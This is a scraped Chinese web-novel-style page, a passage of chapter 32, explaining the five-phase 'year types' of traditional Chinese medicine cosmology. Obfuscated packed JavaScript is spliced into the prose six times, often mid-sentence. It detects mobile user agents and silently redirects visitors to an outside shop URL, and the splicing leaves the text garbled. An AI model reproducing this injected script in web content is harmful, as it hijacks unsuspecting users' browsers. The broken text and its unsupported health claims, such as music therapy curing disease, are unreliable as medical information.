其气上升”，这确实是一幅生动而富有诗意的画面，它不仅仅是对火势蔓延、热气蒸腾的直观描绘，更是自然界中能量流动与转化的深刻体现。在物理学和气象学的视角下，这种“上升”的气流，实际上是大气中热量差异所导致的对流运动的一种表现。 当火焰燃烧时，燃料与空气中的氧气发生剧烈的化学反应，释放出大量的热能。这些热能使得火焰周围的空气被加热，密度降低，进而变得比周围冷空气更轻。根据物理学中的浮力原理，较轻的热空气会自然上升，与上方的冷空气形成对流，从而带动了火焰的向上蔓延，以及周围热气的蒸腾。 这种“其气上升”的现象，在自然界中随处可见，不仅限于火焰的燃烧。比如，在炎热的夏季，地面被太阳辐射加热后，也会形成类似的热空气上升运动，进而引发对流天气，如云层的形成、雷雨的爆发等。此外，在山地地区，由于地形的抬升作用，暖湿气流在上升过程中也会逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428796|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐冷却凝结，形成降水，滋养了山区的生态系统。 从更宏观的角度来看，“其气上升”也象征着自然界中能量的不断循环与转化。太阳辐射能是地球上所有生命活动的根本动力来源，而通过各种形式的对流运动，这些能量得以在地球表面和大气层之间不断交换和重新分配，维持着地球生态系统的平衡与稳定。 “其性急速”，则揭示了火的另一面——它的变化迅速且不可预测。无论是野火燎原还是灶火烹饪，火都能在短时间内展现出惊人的能量转化能力，让人既敬畏又依赖。 “其作用是燃烧”，这是火最基本也是最显着的功能。燃烧，是火与其他物质相互作用、释放能量的过程，它推动了自然界的物质循环与能量转换，是生命活动不可或缺的一部分。 火在生态系统中使繁荣茂盛”这一深刻而富有诗意的表述时，我们不得不正视自然界中这一既残酷又奇妙的元素——火。它，作为自然界中的一把双刃剑，在生态系统中扮演着复杂而关键的角色，其正面作用确实如同赞美诗中所言，既清理了阻碍新生的障碍，又孕育了肥沃的土壤，促进了生态的多样性与繁荣。 火的清道夫作用：首先，火在森林、草原等生态系统中，如同一位高效的清道夫。它能够迅速而彻底地清除枯枝败叶、老弱病残的植被，以及长期积累的易燃物质，为新生植物的生长扫清了障碍。这一过程虽然看似残酷，实则是自然界自我更新、维持生态平衡的重要机制之一。新生植物得以在火后留下的空地上迅速扎根，享受更加充足的阳光和养分，从而加速生长周期，促进生态系统的快速恢复与繁荣。 这章没有结束，请点击下一页继续阅读！ 第32章 （3）备化年份全方位解析 备化的年份，天地的气化协调和平，其德怀流布于四方，使五行气化都能完善地发挥其作用”，这更像是中国古代哲学与天文学交织下的一种理想化描述，它蕴含了深厚的文化底蕴和宇宙观。在解析这个问题时，我们可以从几个维度来探讨。 从传统文化的视角来看，这段描述描绘了一个天地和谐、万物生长的理想状态。在中国古代哲学中，“气化”是一个核心概念，它指的是自然界中气的运动变化，是万物生成、变化、消亡的根本动力。而“五行”（金、木、水、火、土）则是构成宇宙万物的基本元素，它们之间的相生相克、协调运转，是维持宇宙平衡的关键。因此，当说“备化的年份，天地的气化协调和平”时，便是指在这一时期，自然界的运行达到了高度的和谐与平衡，五行的力量得以充分发挥，滋养万物，促进生态的繁荣与稳定。 如果从现代科学的角度去理解，这样的描述虽然带有浓厚的象征意味，但也可以与生态系统的平衡、气候的适宜性等概念相联系。一个“备化的年份”，或许可以理解为在气候、环境、生物多样性等多方面都达到了一种理想状态的年份，这样的年份有利于农作物的生长、动物种群的繁衍，以及整个生态系统的健康发展。 “其德怀流布于四方”，则可以被解读为这种和谐与繁荣的影响力广泛传播，不仅限于一地一域，而是惠及四方，体现了古人对于美好愿景的广泛传播与共享的愿望。 这段描述虽源自古代哲学与文化的深厚土壤，但其蕴含的对于和谐、平衡、繁荣的追求，以及对于自然规律的深刻洞察，至今仍具有启发意义。它提醒我们，在追求社会进步与发展的过程中，应当尊重自然、顺应自然，努力实现人与自然的和谐共生。 其气和平，其性和顺”，这仿佛是在描述一种温和而稳定的力量，它不急不躁，恰到好处。若将之拟人化，便如同一位性格温和、处事得体的智者，总能以平和之态化解纷争，促进和谐。 “其作用能高能下”，这里的“能高能下”或许可以理解为这种力量具有广泛的适应性和调节能力。在自然界中，土既能承载万物于其上，又能深埋根系于地下，为生命提供坚实的基础。在人体内部，这种能力则可能体现为对营养的吸收与分配，以及对代谢废物的排除，确保了身体机能的正常运行。 “其生化能使万物成熟丰满”，这是对土地滋养万物、促进生长的直接赞颂。在农耕社会中，土地被视为生命的源泉，没有肥沃的土地，就没有丰收的喜悦和生命的延续。这种生化之力，正是土德之所在，它赋予了万物以生命，使之茁壮成长，最终达到成熟丰满的状态。 “其属类是土”，这句话明确指出了上述描述的主体——土。在中国传统文化中，土五行之一，代表着稳定、厚重、包容与滋养。它不仅是物质世界的基础，更是精神世界的依托。 “其权利是使之安静”，这里的“权利”或可理解为土所具备的一种特质或功能，即能让周围环境或事物趋于稳定、安静。在自然界中，土壤能够吸收雨水、固定植被，减少水土流失，从而维护生态系统的稳定。在人体内部，脾作为土的象征，也具有类似的功能，它主管运化，将食物转化为身体所需的营养，同时排除多余的水分和废物，保持内环境的平衡与安静。 “其气候是湿热交蒸”，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428797|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是对土所处环境的一种描述。在特定的地理和气候条件下，湿热交蒸的气候有助于土壤的肥沃和生物的繁衍。然而，在人体内部，过度的湿热则可能导致身体不适，需要通过饮食、作息等方式来调节。 “其权利的表现是湿”，虽初听起来似乎有些跨界与抽象，但若将其置于中医理论的语境下，便能捕捉到一丝独特的智慧火花。在中医五行学说与脏腑理论中，土属性在人体内的一种具体而微妙的体现。 “湿”是一种病理状态，同时也是自然界中土属性的一种延伸。它代表着一种黏滞、重浊、趋下的特性，当这种特性在人体内失衡时，便形成了湿邪，成为众多疾病的温床。湿邪的形成与脾胃功能密切相关，尤其是脾，作为运化水湿的主要脏器，其功能的强弱直接决定了体内湿邪的聚散。 脾主运化，不仅包括对水谷精微的转化与输送，还涵盖了对水湿的调节与排泄。当脾气健运时，水液得以正常代谢，湿邪无从滋生；而一旦脾失健运，水湿停聚，便易形成湿邪，侵扰人体，导致一系列症状的出现，如身体困重、四肢不温、大便溏泻等。 因此，中医在治疗因湿邪所致的疾病时，往往注重调理脾胃，通过健脾利湿、温阳化湿等方法，恢复脾的运化功能，使湿邪得以祛除，人体恢复健康。 综上所述，“湿”作为土属性在中医理论中的一种表现形式，不仅揭示了自然界与人体之间的内在联系，还为我们提供了理解和治疗相关疾病的重要思路。在中医的眼中，每一个细微的病理变化都蕴含着深刻的哲理与智慧，值得我们深入探索与学习。 这章没有结束，请点击下一页继续阅读！ 第32章 （4）审平年份全方位解析 在探讨“审平的年份”及其与五行气化关系的这一古老而深邃的话题时，我们首先需要理解这背后蕴含的是中国古代哲学中“天人合一”的思想，以及五行学说在气候、物候乃至社会现象中的广泛应用。 “审平之年”，在中医五运六气学说或是古代天文历法中，指的是一种气候平和、万物生长有序、五行之气和谐共生的年份。在这样的年份里，金虽主收束之令，但其作用并非剥夺万物之生机，而是如同秋日之金风，虽带凉意，却能促使万物成熟，果实累累，体现了自然界的收获与感恩。同时，金之肃杀之气虽存，却无残害之实，这是因为五行之间相生相克，相互制约，共同维持着宇宙间的动态平衡。 具体到五行气化都得宣畅清明的描述，可以理解为在这一时期，木、火、土、金、水五行之气各自按照其固有的规律运行，既不过盛也不及衰，相互间既有制约又有促进，共同营造出一个和谐、清明的自然环境。这种状态下，不仅自然界万物生长繁茂，人类社会也往往呈现出安定繁荣的景象，疾病减少，人心向善，社会风气清正。 因此，当我们谈论“审平的年份”时，实际上是在赞美一种理想化的自然与社会状态，它寄托了古人对于和谐共生、天人合一的美好愿景。在现代社会，虽然我们已经不再完全依赖五行学说来解释世界，但这种追求平衡、和谐的理念仍然具有重要的启示意义。 当我们深入探讨这一连串关于“金”的特性的描述时，不禁要赞叹古人对自然界万物深刻而细腻的洞察。首先，提到“其气洁净，其性刚强”，这仿佛是在描绘一幅金属在阳光下熠熠生辉，既纯净又坚韧的画面。金，作为五行之一，不仅代表了自然界中坚硬的物质，更蕴含了一种不屈不挠、刚正不阿的精神气质。 “其作用是成熟散落”，这里金被赋予了促进万物成熟并适时放手的智慧。就像秋天，金风送爽，不仅让果实饱满成熟，也促使它们从枝头自然脱落，为来年的生长腾出空间。这种成熟与放手，是自然界生生不息、循环往复的法则之一。 “其生化能使万物结实收敛”这一自然现象时，不得不感慨于自然界中五行相生相克、生生不息的奥秘。金，作为五行之一，虽常被我们视为坚硬、锋利之物，但在自然界的生态循环中，它却扮演着至关重要的角色。 金的力量，不在于其外在的锋芒毕露，而在于其内在的沉稳与收敛。正如秋日里万物逐渐成熟，金黄的色彩铺满了大地，这是金性收敛之力的直观体现。在这一季节里，植物们经过一年的生长，借助阳光的照耀、雨水的滋润，以及土壤的滋养，终于迎来了收获的时刻。它们的枝叶逐渐停止扩张，转而将能量集中于果实或种子的形成上，这些果实或种子不仅蕴含了丰富的养分，更是生命延续的希望所在。 金的力量，让万物在成熟之际懂得积累与沉淀，不再盲目地向外扩张，而是将精力用于内在的提升与准备。这种收敛之力，不仅体现在植物的生长过程中，也贯穿于整个自然界的生态循环之中。随着气温的逐渐降低，万物开始为即将到来的寒冬做准备。它们或储存食物、或调整生理机能、或进入休眠状态，都是为了在严酷的环境中保存实力，以待来春万物复苏之时再次焕发生机。 因此，“其生化能使万物结实收敛”不仅是对金性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428798|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特征的一种生动描述，更是对自然界生态循环中生命智慧的一种深刻领悟。它提醒我们，无论是自然界中的万物还是人类社会中的个体，都应在适当的时候学会收敛与积累，为未来的成长与发展打下坚实的基础。 “其属类是金，其权力是为轻劲严肃”其中金，作为五行之一的璀璨明珠，以其独特的属性与象征的权力，向我们展示了自然界的智慧与法则。 让我们从金的属性说起。金，在五行之中，代表着坚硬、锋利与纯净。它的质地坚硬，象征着不屈不挠的意志与坚韧不拔的精神；它的光芒锋利，如同智慧的剑刃，能够划破迷雾，照亮前行的道路；它的纯净无暇，则如同心灵的明镜，映照出世间万物的本质与真相。 而谈及金的权力，我们不得不感叹于它那种既轻灵又强劲，既严肃又公正的独特魅力。金的权力，轻灵在于它的变化无常，能够随形就势，适应各种环境与条件；强劲则在于它一旦发力，便势不可挡，能够克服一切困难与挑战。同时，金的权力又是如此严肃与公正，它如同自然界的法则一般，不偏不倚，不徇私情，既温柔地滋养着万物生长，又无情地淘汰着那些无法适应环境、自我堕落的弱者。 这种轻劲严肃的权力，不仅体现在自然界的运行规律之中，更深刻地影响着人类社会的方方面面。在人际交往中，我们追求的是金一般的真诚与坦率，不虚伪、不做作；在事业追求上，我们需要的是金一般的坚韧与毅力，不畏艰难、勇往直前；在道德准则上，我们倡导的是金一般的公正与无私，不徇私情、不偏不倚。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第32章 （5）静顺年份全方位解析 在探讨这段关于自然哲学与中医理论的深刻描述时，我们不妨以一种既融合传统智慧又兼顾现代理解的方式来解析。静顺之年，仿佛是大自然在低语，讲述着一个关于水元素和谐共生的故事。 “静顺的年份”，这确实是一个充满诗意与哲理的构想，它不仅仅是对时间流转中某一特定阶段的美学提炼，更是对自然界中水元素智慧与力量的深刻洞察。在这样的年份里，时间仿佛被赋予了温柔的笔触，在四季更迭的画卷上缓缓勾勒出一幅幅宁静致远的景象。 从自然科学的角度解读，“静顺”二字恰如其分地描绘了水在特定条件下的状态——那是一种既非汹涌澎湃，亦非干涸枯竭，而是以一种近乎于禅意的姿态，静静流淌，顺应自然规律，展现出水之柔顺与包容的至高境界。正如您所言，这样的年份里，“藏气能纳藏而无害于万物”，它如同冬日里的一泊深湖，表面看似平静无波，实则内在蕴藏着勃勃生机，默默积蓄着力量，以待春日之时的勃发。 在人文哲学的层面上，“静顺的年份”更是一种心灵的启示。它告诉我们，在人生的旅途中，有时也需要像那深邃的湖泊一样，学会在喧嚣中寻得一份宁静，在挑战面前保持一份顺应与从容。不为外界的风云变幻所动，而是以内心的平和与坚韧，去涵养自我，同时也以无私的姿态去滋养和影响周围的人与环境，体现出一种超越物质层面的精神追求与生命智慧。 因此，当我们谈论“静顺的年份”时，我们不仅仅是在谈论时间的一个特定阶段，更是在探讨一种生活的态度，一种与自然和谐共生、与自身和解的智慧，以及在变化莫测的世界中保持内心平静与力量的能力。 “其德性平顺而下行”，这不仅仅是对水性本质的精炼概括，更是自然界中一种深刻而普遍的现象学观察。水，这一生命之源，无论它以何种形态存在——是山间细流轻声细语的温柔，还是江河湖海波澜壮阔的壮阔，最终都遵循着地球引力的召唤，顺应地势，向下流淌，直至汇入那片蔚蓝无垠的大海，完成了它循环不息的壮丽旅程。 在中医五行学说的语境下，这种水性“平顺而下行”的特性被赋予了更为丰富的内涵与象征意义。中医理论认为，五行（金、木、水、火、土）与人体脏腑及生理功能紧密相连，其中水对应着肾系统，而肾，作为先天之本，主藏精、主水液代谢，其生理功能恰如水性之顺应下流，体现在人体的排泄与代谢功能上，尤其是肾系统的排毒与净化作用。 想象一下，人体内的“水”（即体液、血液等）在肾系统的精心调控下，如同自然界中的水循环一般，有序地流动、分配、排泄，既保证了生命活动的正常运行，又及时清除了体内的代谢废物和毒素，维护了机体内环境的清洁与平衡。这一过程，无疑是对“其德性平顺而下行”这一自然法则在生命体内部的深刻共鸣与体现。 因此，当我们深入探究“其德性平顺而下行”这一表述时，不仅能够领略到自然界中水循环的壮丽与和谐，更能感受到中医五行学说所蕴含的深邃智慧与生命哲理，即生命体与自然界的紧密相连、相互映照，以及在这种联系中寻求健康与平衡的不懈追求。 “五行的气化都得完整”，强调了五行（金、木、水、火、土）相互依存、相互制约的和谐状态。在水的调和下，五行之气得以顺畅流转，万物得以生生不息。正如人体内部脏腑之间的相互协作，共同维持着生命活动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428799|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的平衡与稳定。 “其气明净，其性向下”，这是对水特质的高度凝练。水以其清澈透明之姿，映照万物；又以其向下的趋势，滋养大地，促进万物生长。在中医理论中，这种特性与肾的藏精、主水功能相呼应，肾精充盈则生命力旺盛，水液代谢正常。 “其作用为水流灌溉”，这无疑是水在自然界中最直观也是最为人称颂的角色之一。水，作为生命之源，通过河流、湖泊、雨水等形式，滋养着大地上的万物生灵。它像是一位不辞辛劳的园丁，用那温柔而坚韧的力量，将生命的种子播撒到每一个角落，让绿洲在荒漠中绽放，让万物在滋润中生长。这一过程，不仅展现了水流的滋养之功，更寓意着生命之泉对于自然界生生不息的推动作用。 而“其生化为凝固坚硬”，则是水在特定环境条件下所展现出的另一种面貌。当温度降至冰点以下，流动的水分子会逐渐排列成有序的晶体结构，形成我们熟悉的冰。这一转变，不仅改变了水的物理形态，更赋予了它新的特性和象征意义。冰，以其坚硬、冷峻的姿态，成为了自然界中一种独特的存在。它象征着生命在经历严寒、磨砺之后所展现出的坚韧与不屈，也寓意着在逆境中坚持自我、不断成长的精神力量。 将这两者结合起来看，我们可以发现，水以其多变而丰富的形态，在自然界中扮演着多重角色。它既是滋养万物的生命之源，又是磨砺生命、促进成长的严师。这种既温柔又坚韧、既滋养又磨砺的特性，恰如人生旅途中不可或缺的两种力量——爱与挑战。它们相互交织、相互作用，共同推动着每一个生命体向前发展、不断成长。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第32章 （6）委和年份解析 “委和”之年，作为五运中的一种特殊情况，指的是木运不及之年。木运代表生长之气，当木运不足时，“生气不能很好的行使职权”，即自然界的生长之力受到抑制。这种抑制体现在多个方面： 在探讨中医五运六气学说中的“化气发扬（土不畏木）”这一现象时，我们可以将其与自然界的气候变化、土壤条件以及农作物的生长情况联系起来，进行一番有趣的解读。 我们知道在五行相生相克的理论中，木是克土的。但在某些特定的年份，比如木运不及的时候，这种相克关系就可能会发生微妙的变化。原本应该被木运所制约的土运，反而因为木运的减弱而得到了“解放”，开始“发扬光大”。 这里的“化气发扬”，我们可以理解为土运的力量得到了充分的展现。土壤作为农作物生长的基础，其肥沃程度直接关系到作物的产量和质量。在木运不及的年份，土壤虽然肥沃，但却可能因为缺乏足够的木质生长力（也就是那种能够促进作物根系深入土壤、吸收养分的力量）而显得有些“笨重”或“水灵”。 具体来说，土壤过于厚重可能会导致作物根系难以穿透，进而影响其吸收水分和养分的能力；而土壤过于湿润，则可能引发水湿积聚，不仅影响作物根系的呼吸作用，还可能增加病虫害的风险。这样一来，虽然土壤看似肥沃，但作物的生长却可能因此受到抑制。 在五行学说中，“木生火”是描述自然界中一种基本的相生关系，它不仅仅局限于字面意义上的木材点燃火焰，更是一种象征，代表着生命力的转化与升腾。 当我们说“长气自然平静（木不能生火）”时，这更像是一种假设或特殊情况下的描述。在正常情况下，木之生长旺盛，蕴含着丰富的生命力与活力，这种生命力在适当条件下能够转化为火的热烈与光明，象征着自然界中温暖与光明的力量得以传播，促进万物的生长与繁荣。 而“木运不足则火运不旺”，则是对五行相生关系失衡的一种阐述。当木的生长受到阻碍，比如土壤贫瘠、水分不足或病虫害侵袭等，其蕴含的生命力就会减弱，进而影响到火的生成与旺盛。这种影响不仅体现在直接的火焰燃烧上，更深远地，它象征着自然界中温暖与光明之力的减弱，这对于依赖这些力量生长的植物来说，无疑是一个不利因素，因此会表现为“草木不能及时繁荣”。 从这一视角出发，我们可以看到，古代中国哲学中的五行学说，不仅仅是一种对自然界现象的简单分类与归纳，更是一种对宇宙万物间复杂关系的深刻洞察与理解。它提醒我们，自然界的每一个细微变化都可能引发连锁反应，影响到整个生态系统的平衡与稳定。因此，在日常生活与工作中，我们也应该秉持这种全局观念，注重维护事物间的和谐与平衡，以促进社会的可持续发展与人类的共同福祉。 “收令于是提早（金胜木）”想象一下，如果自然界中的“金”元素（可以理解为金属、矿藏或是秋季的肃杀之气）突然变得格外活跃，是不是就像我们不小心调快了时间的发条，让秋天的脚步提前悄然而至？ “金克木”是自然界中一种基本而深刻的规律。当木之生长力量不足，即“木运不及”时，金气（秋季所代表的收敛、肃杀之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428800|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气）便显得相对偏盛。这种偏盛并非绝对的增强，而是由于木气减弱后，金气在相对平衡中的主导地位更为凸显。 秋季，作为金气最为旺盛的季节，其本质特征便是收敛与成熟。当金气提前占据主导地位，秋季的收敛之气便也随之提早到来。这种提前到来的收敛之气，对植物生长周期产生了显着影响。原本应在秋季逐渐成熟并准备收获的作物，可能因此提前进入成熟阶段，甚至在某些情况下出现早熟现象，这便是“万物早秀早熟”的直观表现。 “凉雨不时下降，风云经常发起”这样的气候异常现象时，确实可以从古代哲学的五行理论中寻找到一些解释的线索。这天气，就像是天上的神仙们在玩“五行接龙”，一不小心就把“金克木”的牌打多了，结果整个自然界的牌局都有点乱套了。 从五行相生相克的角度来看，木运不及、金气偏胜以及由此引发的水气增多，可以构成一个解释气候异常现象的框架。在自然界中，木代表生长与扩展，金则象征收敛与肃杀，而水则是变化与流动的体现。当木运不及，即生长之力减弱时，金气的相对偏胜就会导致秋季的收敛之气提前或过度显现，这不仅影响了植物的正常生长周期，还可能引发一系列连锁反应。 其中，水气的增多便是一个重要的中间环节。在五行理论中，土能生金，但土湿则易化生水气。因此，当金气偏胜导致土湿加重时，水气便会相应增多，进而影响气候的稳定。凉雨的不时下降和风云的频繁变换，正是这种气候不稳定的直观表现。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第32章 （7）伏明 卑监 从革 涸流之年详细说明 “伏明之年”时，我们仿佛穿越了时空的隧道，踏入了一个充满智慧与自然哲学并蓄的奇妙世界。这一概念，根植于五行学说与中医藏象理论，深刻揭示了自然界与人体生理病理之间的微妙联系。 “伏明之纪”，简而言之，即指土运过旺之年，土性厚重、沉稳，却也在极端之时展现出其压制他行的力量。土旺克木，如同大地母亲在慷慨给予的同时，也可能因过度滋养而阻碍了树木的伸展，这里的“胜长”便形象地描绘了这一自然法则的失衡。春季万物本应欣欣向荣，却因土气的过度强盛而显得生长乏力，恰似一幅被温柔束缚的生机画卷。 “收气自政，化令乃衡”，则是自然界自我调节机制的体现。秋季的收敛之气提前介入，四季的轮转变得不那么和谐流畅，清凉与暑热的交替频繁而剧烈，这种气候的突变，正是大自然对土运太过的一种响应与调整。万物生长虽未停滞，却多了几分艰难与不确定，果实的稚嫩与未熟，正是这一时期的真实写照。 “阳气屈伏，蛰虫早藏”，更是生动地描绘了生物界对气候变化的敏锐感知与适应性调整。阳气被土气所抑，不仅影响了地表生态，连地下的蛰虫也感受到了这份寒意，提前进入了冬眠状态，这是自然界万物顺应天时、和谐共生的生动例证。 在人体健康层面，“伏明之纪”的气候特点同样不容忽视。心属火，土旺则克火，故而易发心痛等心脏疾病，这是五行相克理论在医学实践中的具体应用。同时，肾水受土克，水气不足，心火失济，导致精神恍惚、悲伤健忘等症状的出现，揭示了脏腑之间相互制约、相互依存的复杂关系。 在治疗上，“少徵与少羽同，上商与正商同”的调律原则，是中医音乐疗法与五行学说结合的智慧结晶。通过音乐的和谐之音，调和脏腑之气，平衡体内环境，从而达到治疗疾病、强身健体的目的。这种疗法，不仅体现了中医的整体观念与辨证施治原则，也展示了中华文化的博大精深与独特魅力。 “卑监之年”，听起来就像是古代某位隐士的雅号，实则它是中医五行学说中描述土运不及的一个生动年份。在这样的年份里，大自然仿佛按下了“慢放键”，土的化育之力未能充分施展，反倒是木的生机勃勃，独自狂欢。雨水迟到，收成虽稳，但少了那份丰盈的滋润，草木虽茂，却多是华而不实，像极了那些空有其表的“花瓶”。 说到对人体的影响，这“卑监”之年可不简单。它让人的身体也容易出现问题，比如皮肤上的疮疡，那叫一个“脓多溃烂”，简直是美容界的天敌。为啥呢？因为土运不及，脾失健运，湿气内停，再加上木气过旺，风动不息，内外夹击之下，身体自然就“肿”了。这时候，五谷中的豆和麻，五味中的酸甘，还有颜色上的苍黄，都成了调理身体的小助手，它们能帮你调和脾胃，补充缺失的土气。 再来说说自然界的连锁反应。风木强盛，不仅草木受影响，连带着家畜中的牛和犬，昆虫界的倮虫毛虫，都感受到了这股不安定的气息。声音上的宫、角二音，似乎也多了几分激荡与不安。而在这样的年份里，如果遇到太阴湿土司天，那还好说，司天之助能让土运稍稍缓和一些；但要是碰上厥阴风木司天，那就真是“屋漏偏逢连夜雨”，土运更衰，木气更旺，整个生态系统都得跟着“抖三抖”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428801|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 至于发病，消化不良、泄泻这些“小毛病”，其实都是脾土受损的信号。而风势的加剧，更是让自然界的平衡摇摇欲坠，草木凋零，灾害频发。不过，别忘了五行相生的法则，金气来复之时，也是自然界自我修复的开始，虽然过程可能伴随着一些“破坏性”的清理，但这也是为了迎接下一个更加和谐稳定的周期。 所以，面对“卑监之年”，我们既要顺应自然，又要积极调理，让身心都能在这股“动荡”中找到属于自己的平衡之道。 “从革之年”，这仿佛是大自然在编织一场关于变革与平衡的交响乐。在这个年份里，我们见证了“折收”的奇景——收获的季节似乎被按下了暂停键，但生命的活力却因此得到了前所未有的释放。生气盎然，长气与化气相辅相成，火元素趁机崭露头角，引领万物步入一个繁盛的周期。 想象一下，这样的年份里，自然界的节奏变得急促而热烈，正如那急于展现自我的青春。然而，这份热烈也带来了它的代价。在人体，它可能表现为咳嗽失音、烦闷气逆，乃至咳嗽气喘等症状，这些都是肺脏在应对外界变化时发出的“求救信号”。肺，作为五脏之一，与这一年的气息紧密相连，成为了最易受影响的器官。 再来看自然界的馈赠，李子和杏子成为了这一年的代表果实，它们不仅美味，更蕴含着壳与络的哲理，象征着事物表面的坚硬与内在的复杂。麻和麦，作为谷物界的佼佼者，也在这个年份里展现出了它们独特的生命力。而苦与辛，这两种看似对立的味觉体验，却在这一年的五味中找到了和谐共存的理由。 这章没有结束，请点击下一页继续阅读！ 第32章 （8）启陈 蕃茂 广化 收引封藏 年份的详细说明 发生的年份，称为启陈。土气疏松虚薄，草木之青气发荣，阳气温和布化于四方，阴气随阳气而动，生气淳厚，化生万物，万物因之而欣欣向荣。其变化为生发，万物得其气则秀丽，其权力为散布，其权力的表现为舒展畅达，其在人体的变动是眩晕和巅顶部的疾病，其正常的性能是风和日暖，使万物奢靡华丽，推陈出新，若变动为狂风振怒，把树木摧折拔倒，在谷类是麻、稻，在畜类是鸡、犬，在果类是李、桃，在颜色是青、黄、白三色杂见，在五味是酸、甘、辛，其象征为春天，在人体的经络是足厥阴族少阳，其应于内脏为肝、脾，在虫类是毛虫介虫，在物体属内外坚硬的一类，若发病则为怒。这是木运太过，是为太角，木太过则相当于金气司天，故太角与上商同。若逢上徽，正当火气司天，木运太过亦能生火，火性上逆，木旺克土，故病发气逆、吐泻。木气太过失去了正常的性能，则金之收气来复，以致发生秋令劲切的景象，甚则有肃杀之气，气候清凉，草木凋零，若为人们的病变，则邪气伤在肝脏。 赫曦的年份，称为蕃茂。少阴之气从内而化，阳气发扬在外，炎暑的气候施行，万物得以昌盛。其生化之气为成长，火气的性质是上升，其权力是闪烁活动，其权力的表现为显露声色，其变动能使烧灼发热，并且因为过热而缭乱烦扰，其正常的性能是暑热郁郁蒸，其变化则为热度高张如烈火，在谷类是麦、豆，在畜类是羊、猪，在果类是杏、栗，在颜色是赤、白、黑，在五味是苦、辛、咸，其象征为夏天，在人体的经脉是手少阴、手太阳和手厥阴、手少阳，其应于内脏为心、肺，在虫类是羽虫鳞虫，在人体属脉络和津液，在人体的病变是因为心气实则笑，伤于暑则疟疾、疮疡、失血、发狂、目赤。火运太过，若逢太阳寒水司天，水能胜火，适得其平，故赫曦逢上羽，则和正徽相同。水运既平，金不受克，所以收令得以正常，因水气司天，水受火制，所以在人发病为厔。若火运太过又逢火气司天，二火相合，则金气受伤，故逢上徽则收气不能及时行令。由于火运行令，过于暴烈，水之藏气来复，以致时见阴凝惨淡的景象，甚至雨水霜雹，转为寒冷，若见病变，多是邪气伤于心脏。 